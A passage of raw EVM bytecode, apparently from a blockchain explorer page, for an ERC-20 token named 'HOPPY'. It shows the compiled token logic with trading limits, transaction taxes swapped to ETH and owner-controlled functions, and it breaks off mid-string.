565b73ffffffffffffffffffffffffffffffffffffffff16146117df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d690612ca9565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f81836118af9190612ac3565b905092915050565b5f60085f9054906101000a900460ff161580156118e05750600660159054906101000a900460ff165b80156118f85750600660149054906101000a900460ff165b801561194b575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156119a3575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80156119b3575060095460075410155b905092915050565b600160085f6101000a81548160ff0219169083151502179055505f611a276002611a19600e54611a0b600d546119fd6001600c546118a290919063ffffffff16565b6118a290919063ffffffff16565b6118a290919063ffffffff16565b611f9690919063ffffffff16565b90505f611a5182611a43600c5486611f9690919063ffffffff16565b611fab90919063ffffffff16565b90505f611a678285610d6490919063ffffffff16565b90505f479050611a768261152d565b5f611a8a8247610d6490919063ffffffff16565b90505f611ab4611aa5600c5488610d6490919063ffffffff16565b83611fab90919063ffffffff16565b90505f611acc600c5483611f9690919063ffffffff16565b90505f811115611ae157611ae08682611fc0565b5b5f611b0a600d54611afc600286611f9690919063ffffffff16565b611f9690919063ffffffff16565b90505f811115611b865760155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600283611b5c9190612cc7565b90811502906040515f60405180830381858888f19350505050158015611b84573d5f803e3d5ffd5b505b5f4790505f811115611bf85760145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611bf6573d5f803e3d5ffd5b505b5050505050505050505f60085f6101000a81548160ff02191690831515021790555050565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611cbc575060045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b905092915050565b5f80611cd085856120ba565b1115611f84575f611d07611ce486866120ba565b611cf960135486611fab90919063ffffffff16565b611f9690919063ffffffff16565b905060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015611db1575060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611deb57611dcd633b9aca0084611f9690919063ffffffff16565b90506001600660156101000a81548160ff0219169083151502179055505b611e3b8160025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546118a290919063ffffffff16565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611eac611e8986866120ba565b611e9e60135486611fab90919063ffffffff16565b611f9690919063ffffffff16565b90503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611f0b919061233e565b60405180910390a35f600f54118015611f2e5750600f54611f2c86866120ba565b115b15611f6957611f683061dead611f63600f54611f5560135489611fab90919063ffffffff16565b611f9690919063ffffffff16565b610d79565b5b611f7c8184610d6490919063ffffffff16565b915050611f88565b8190505b9392505050565b5f33905090565b5f8183611fa39190612cc7565b905092915050565b5f8183611fb89190612d35565b905092915050565b611fec3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610ba1565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f8060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161207296959493929190612514565b60606040518083038185885af115801561208e573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906120b39190612587565b5050505050565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361211957601154905061217d565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361217757601054905061217d565b60125490505b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156121ba57808201518184015260208101905061219f565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6121df82612183565b6121e9818561218d565b93506121f981856020860161219d565b612202816121c5565b840191505092915050565b5f6020820190508181035f83015261222581846121d5565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61225a82612231565b9050919050565b61226a81612250565b8114612274575f80fd5b50565b5f8135905061228581612261565b92915050565b5f819050919050565b61229d8161228b565b81146122a7575f80fd5b50565b5f813590506122b881612294565b92915050565b5f80604083850312156122d4576122d361222d565b5b5f6122e185828601612277565b92505060206122f2858286016122aa565b9150509250929050565b5f8115159050919050565b612310816122fc565b82525050565b5f6020820190506123295f830184612307565b92915050565b6123388161228b565b82525050565b5f6020820190506123515f83018461232f565b92915050565b5f805f6060848603121561236e5761236d61222d565b5b5f61237b86828701612277565b935050602061238c86828701612277565b925050604061239d868287016122aa565b9150509250925092565b5f60ff82169050919050565b6123bc816123a7565b82525050565b5f6020820190506123d55f8301846123b3565b92915050565b5f602082840312156123f0576123ef61222d565b5b5f6123fd84828501612277565b91505092915050565b61240f81612250565b82525050565b5f6020820190506124285f830184612406565b92915050565b5f80604083850312156124445761244361222d565b5b5f61245185828601612277565b925050602061246285828601612277565b9150509250929050565b5f8151905061247a81612261565b92915050565b5f602082840312156124955761249461222d565b5b5f6124a28482850161246c565b91505092915050565b5f6040820190506124be5f830185612406565b6124cb6020830184612406565b9392505050565b5f819050919050565b5f819050919050565b5f6124fe6124f96124f4846124d2565b6124db565b61228b565b9050919050565b61250e816124e4565b82525050565b5f60c0820190506125275f830189612406565b612534602083018861232f565b6125416040830187612505565b61254e6060830186612505565b61255b6080830185612406565b61256860a083018461232f565b979650505050505050565b5f8151905061258181612294565b92915050565b5f805f6060848603121561259e5761259d61222d565b5b5f6125ab86828701612573565b93505060206125bc86828701612573565b92505060406125cd86828701612573565b9150509250925092565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61263160268361218d565b915061263c826125d7565b604082019050919050565b5f6020820190508181035f83015261265e81612625565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6126bf60248361218d565b91506126ca82612665565b604082019050919050565b5f6020820190508181035f8301526126ec816126b3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61274d60228361218d565b9150612758826126f3565b604082019050919050565b5f6020820190508181035f83015261277a81612741565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6127b88261228b565b91506127c38361228b565b92508282039050818111156127db576127da612781565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61283b60258361218d565b9150612846826127e1565b604082019050919050565b5f6020820190508181035f8301526128688161282f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6128c960238361218d565b91506128d48261286f565b604082019050919050565b5f6020820190508181035f8301526128f6816128bd565b9050919050565b7f596f752061726520747279696e6720746f207472616e73666572206d6f7265205f8201527f7468616e20796f75722062616c616e6365000000000000000000000000000000602082015250565b5f61295760318361218d565b9150612962826128fd565b604082019050919050565b5f6020820190508181035f8301526129848161294b565b9050919050565b7f74726164696e674f70656e6564000000000000000000000000000000000000005f82015250565b5f6129bf600d8361218d565b91506129ca8261298b565b602082019050919050565b5f6020820190508181035f8301526129ec816129b3565b9050919050565b7f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00005f82015250565b5f612a27601e8361218d565b9150612a32826129f3565b602082019050919050565b5f6020820190508181035f830152612a5481612a1b565b9050919050565b7f5458204c696d69742045786365656465640000000000000000000000000000005f82015250565b5f612a8f60118361218d565b9150612a9a82612a5b565b602082019050919050565b5f6020820190508181035f830152612abc81612a83565b9050919050565b5f612acd8261228b565b9150612ad88361228b565b9250828201905080821115612af057612aef612781565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612b8281612250565b82525050565b5f612b938383612b79565b60208301905092915050565b5f602082019050919050565b5f612bb582612b50565b612bbf8185612b5a565b9350612bca83612b6a565b805f5b83811015612bfa578151612be18882612b88565b9750612bec83612b9f565b925050600181019050612bcd565b5085935050505092915050565b5f60a082019050612c1a5f83018861232f565b612c276020830187612505565b8181036040830152612c398186612bab565b9050612c486060830185612406565b612c55608083018461232f565b9695505050505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612c9360208361218d565b9150612c9e82612c5f565b602082019050919050565b5f6020820190508181035f830152612cc081612c87565b9050919050565b5f612cd18261228b565b9150612cdc8361228b565b9250828202612cea8161228b565b91508282048414831517612d0157612d00612781565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612d3f8261228b565b9150612d4a8361228b565b925082612d5a57612d59612d08565b5b82820490509291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200b7b38f77df09ab63ed4c529e8e43e44fcee49ef7781253bccbe9eb91beb6aee64736f6c63430008140033
Deployed Bytecode
0x608060405260043610610122575f3560e01c8063751039fc1161009f578063a9059cbb11610063578063a9059cbb146103af578063bc0ad5a3146103eb578063dd62ed3e14610401578063ed9953071461043d578063f2fde38b1461044757610129565b8063751039fc146102f15780637d1db4a5146103075780638da5cb5b1461033157806395d89b411461035b578063a8aa1b311461038557610129565b80633a5df0cd116100e65780633a5df0cd1461022357806351bc3c851461025f5780636c0a24eb1461027557806370a082311461029f578063715018a6146102db57610129565b806306fdde031461012d578063095ea7b31461015757806318160ddd1461019357806323b872dd146101bd578063313ce567146101f957610129565b3661012957005b5f80fd5b348015610138575f80fd5b5061014161046f565b60405161014e919061220d565b60405180910390f35b348015610162575f80fd5b5061017d600480360381019061017891906122be565b6104ac565b60405161018a9190612316565b60405180910390f35b34801561019e575f80fd5b506101a76104c2565b6040516101b4919061233e565b60405180910390f35b3480156101c8575f80fd5b506101e360048036038101906101de9190612357565b610501565b6040516101f09190612316565b60405180910390f35b348015610204575f80fd5b5061020d6105c7565b60405161021a91906123c2565b60405180910390f35b34801561022e575f80fd5b50610249600480360381019061024491906123db565b6105cf565b6040516102569190612316565b60405180910390f35b34801561026a575f80fd5b506102736105ec565b005b348015610280575f80fd5b5061028961069b565b604051610296919061233e565b60405180910390f35b3480156102aa575f80fd5b506102c560048036038101906102c091906123db565b6106a1565b6040516102d2919061233e565b60405180910390f35b3480156102e6575f80fd5b506102ef6106e7565b005b3480156102fc575f80fd5b506103056106fa565b005b348015610312575f80fd5b5061031b610716565b604051610328919061233e565b60405180910390f35b34801561033c575f80fd5b5061034561071c565b6040516103529190612415565b60405180910390f35b348015610366575f80fd5b5061036f610743565b60405161037c919061220d565b60405180910390f35b348015610390575f80fd5b50610399610780565b6040516103a69190612415565b60405180910390f35b3480156103ba575f80fd5b506103d560048036038101906103d091906122be565b6107a5565b6040516103e29190612316565b60405180910390f35b3480156103f6575f80fd5b506103ff6107bb565b005b34801561040c575f80fd5b506104276004803603810190610422919061242e565b6107e0565b604051610434919061233e565b60405180910390f35b610445610862565b005b348015610452575f80fd5b5061046d600480360381019061046891906123db565b610b1f565b005b60606040518060400160405280600581526020017f484f505059000000000000000000000000000000000000000000000000000000815250905090565b5f6104b8338484610ba1565b6001905092915050565b5f6104fc6104cf5f6106a1565b6104ee6104dd61dead6106a1565b600154610d6490919063ffffffff16565b610d6490919063ffffffff16565b905090565b5f61050d848484610d79565b6105bc84336105b785604051806060016040528060288152602001612d666028913960035f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546114d99092919063ffffffff16565b610ba1565b600190509392505050565b5f6009905090565b6004602052805f5260405f205f915054906101000a900460ff1681565b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610644575f80fd5b610655610650306106a1565b61152d565b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610698573d5f803e3d5ffd5b50565b60185481565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106ef611763565b6106f85f6117e1565b565b610702611763565b600154601781905550600154601881905550565b60175481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f484f505059000000000000000000000000000000000000000000000000000000815250905090565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6107b1338484610d79565b6001905092915050565b6107c3611763565b6001600660146101000a81548160ff021916908315150217905550565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b61086a611763565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108d4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108f89190612480565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561097e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109a29190612480565b6040518363ffffffff1660e01b81526004016109bf9291906124ab565b6020604051808303815f875af11580156109db573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ff9190612480565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a6c3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610ba1565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610ab4306106a1565b5f8033426040518863ffffffff1660e01b8152600401610ad996959493929190612514565b60606040518083038185885af1158015610af5573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610b1a9190612587565b505050565b610b27611763565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8c90612647565b60405180910390fd5b610b9e816117e1565b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c06906126d5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7490612763565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d57919061233e565b60405180910390a3505050565b5f8183610d7191906127ae565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610de7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dde90612851565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4c906128df565b60405180910390fd5b610e5e836106a1565b811115610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e979061296d565b60405180910390fd5b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015610f3e575060045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610f9357600660149054906101000a900460ff16610f92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f89906129d5565b60405180910390fd5b5b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611031575060045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b801561108a575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156110c4575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561115e5760185461111c8260025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546118a290919063ffffffff16565b111561115d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115490612a3d565b60405180910390fd5b5b601754811115806111b5575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611206575060045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611245576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123c90612aa5565b60405180910390fd5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156112e8575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561130757600160075f8282546112ff9190612ac3565b925050819055505b61131183836118b7565b1561132957611321600a546119bb565b5f6007819055505b6113798160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d6490919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f6113c58484611c1d565b6113cf57816113db565b6113da848484611cc4565b5b905061142d8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546118a290919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516114cb919061233e565b60405180910390a350505050565b5f838311158290611520576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611517919061220d565b60405180910390fd5b5082840390509392505050565b5f600267ffffffffffffffff81111561154957611548612af6565b5b6040519080825280602002602001820160405280156115775781602001602082028036833780820191505090505b50905030815f8151811061158e5761158d612b23565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611632573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116569190612480565b8160018151811061166a57611669612b23565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506116d03060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610ba1565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611732959493929190612c07565b5f604051808303815f87803b158015611749575f80fd5b505af115801561175b573d5f803e3d5ffd5b505050505050565b61176b611f8f565b73ffffffffffffffffffffffffffffffffffffffff1661178961071c565b73ffffffffffffffffffffffffffffffffffffffff16146117df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d690612ca9565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f81836118af9190612ac3565b905092915050565b5f60085f9054906101000a900460ff161580156118e05750600660159054906101000a900460ff165b80156118f85750600660149054906101000a900460ff165b801561194b575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156119a3575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80156119b3575060095460075410155b905092915050565b600160085f6101000a81548160ff0219169083151502179055505f611a276002611a19600e54611a0b600d546119fd6001600c546118a290919063ffffffff16565b6118a290919063ffffffff16565b6118a290919063ffffffff16565b611f9690919063ffffffff16565b90505f611a5182611a43600c5486611f9690919063ffffffff16565b611fab90919063ffffffff16565b90505f611a678285610d6490919063ffffffff16565b90505f479050611a768261152d565b5f611a8a8247610d6490919063ffffffff16565b90505f611ab4611aa5600c5488610d6490919063ffffffff16565b83611fab90919063ffffffff16565b90505f611acc600c5483611f9690919063ffffffff16565b90505f811115611ae157611ae08682611fc0565b5b5f611b0a600d54611afc600286611f9690919063ffffffff16565b611f9690919063ffffffff16565b90505f811115611b865760155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600283611b5c9190612cc7565b90811502906040515f60405180830381858888f19350505050158015611b84573d5f803e3d5ffd5b505b5f4790505f811115611bf85760145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611bf6573d5f803e3d5ffd5b505b5050505050505050505f60085f6101000a81548160ff02191690831515021790555050565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611cbc575060045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b905092915050565b5f80611cd085856120ba565b1115611f84575f611d07611ce486866120ba565b611cf960135486611fab90919063ffffffff16565b611f9690919063ffffffff16565b905060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015611db1575060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611deb57611dcd633b9aca0084611f9690919063ffffffff16565b90506001600660156101000a81548160ff0219169083151502179055505b611e3b8160025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546118a290919063ffffffff16565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611eac611e8986866120ba565b611e9e60135486611fab90919063ffffffff16565b611f9690919063ffffffff16565b90503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611f0b919061233e565b60405180910390a35f600f54118015611f2e5750600f54611f2c86866120ba565b115b15611f6957611f683061dead611f63600f54611f5560135489611fab90919063ffffffff16565b611f9690919063ffffffff16565b610d79565b5b611f7c8184610d6490919063ffffffff16565b915050611f88565b8190505b9392505050565b5f33905090565b5f8183611fa39190612cc7565b905092915050565b5f8183611fb89190612d35565b905092915050565b611fec3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610ba1565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f8060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161207296959493929190612514565b60606040518083038185885af115801561208e573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906120b39190612587565b5050505050565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361211957601154905061217d565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361217757601054905061217d565b60125490505b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156121ba57808201518184015260208101905061219f565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6121df82612183565b6121e9818561218d565b93506121f981856020860161219d565b612202816121c5565b840191505092915050565b5f6020820190508181035f83015261222581846121d5565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61225a82612231565b9050919050565b61226a81612250565b8114612274575f80fd5b50565b5f8135905061228581612261565b92915050565b5f819050919050565b61229d8161228b565b81146122a7575f80fd5b50565b5f813590506122b881612294565b92915050565b5f80604083850312156122d4576122d361222d565b5b5f6122e185828601612277565b92505060206122f2858286016122aa565b9150509250929050565b5f8115159050919050565b612310816122fc565b82525050565b5f6020820190506123295f830184612307565b92915050565b6123388161228b565b82525050565b5f6020820190506123515f83018461232f565b92915050565b5f805f6060848603121561236e5761236d61222d565b5b5f61237b86828701612277565b935050602061238c86828701612277565b925050604061239d868287016122aa565b9150509250925092565b5f60ff82169050919050565b6123bc816123a7565b82525050565b5f6020820190506123d55f8301846123b3565b92915050565b5f602082840312156123f0576123ef61222d565b5b5f6123fd84828501612277565b91505092915050565b61240f81612250565b82525050565b5f6020820190506124285f830184612406565b92915050565b5f80604083850312156124445761244361222d565b5b5f61245185828601612277565b925050602061246285828601612277565b9150509250929050565b5f8151905061247a81612261565b92915050565b5f602082840312156124955761249461222d565b5b5f6124a28482850161246c565b91505092915050565b5f6040820190506124be5f830185612406565b6124cb6020830184612406565b9392505050565b5f819050919050565b5f819050919050565b5f6124fe6124f96124f4846124d2565b6124db565b61228b565b9050919050565b61250e816124e4565b82525050565b5f60c0820190506125275f830189612406565b612534602083018861232f565b6125416040830187612505565b61254e6060830186612505565b61255b6080830185612406565b61256860a083018461232f565b979650505050505050565b5f8151905061258181612294565b92915050565b5f805f6060848603121561259e5761259d61222d565b5b5f6125ab86828701612573565b93505060206125bc86828701612573565b92505060406125cd86828701612573565b9150509250925092565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61263160268361218d565b915061263c826125d7565b604082019050919050565b5f6020820190508181035f83015261265e81612625565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6126bf60248361218d565b91506126ca82612665565b604082019050919050565b5f6020820190508181035f8301526126ec816126b3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61274d60228361218d565b9150612758826126f3565b604082019050919050565b5f6020820190508181035f83015261277a81612741565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6127b88261228b565b91506127c38361228b565b92508282039050818111156127db576127da612781565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61283b60258361218d565b9150612846826127e1565b604082019050919050565b5f6020820190508181035f8301526128688161282f565b9050919050565b7f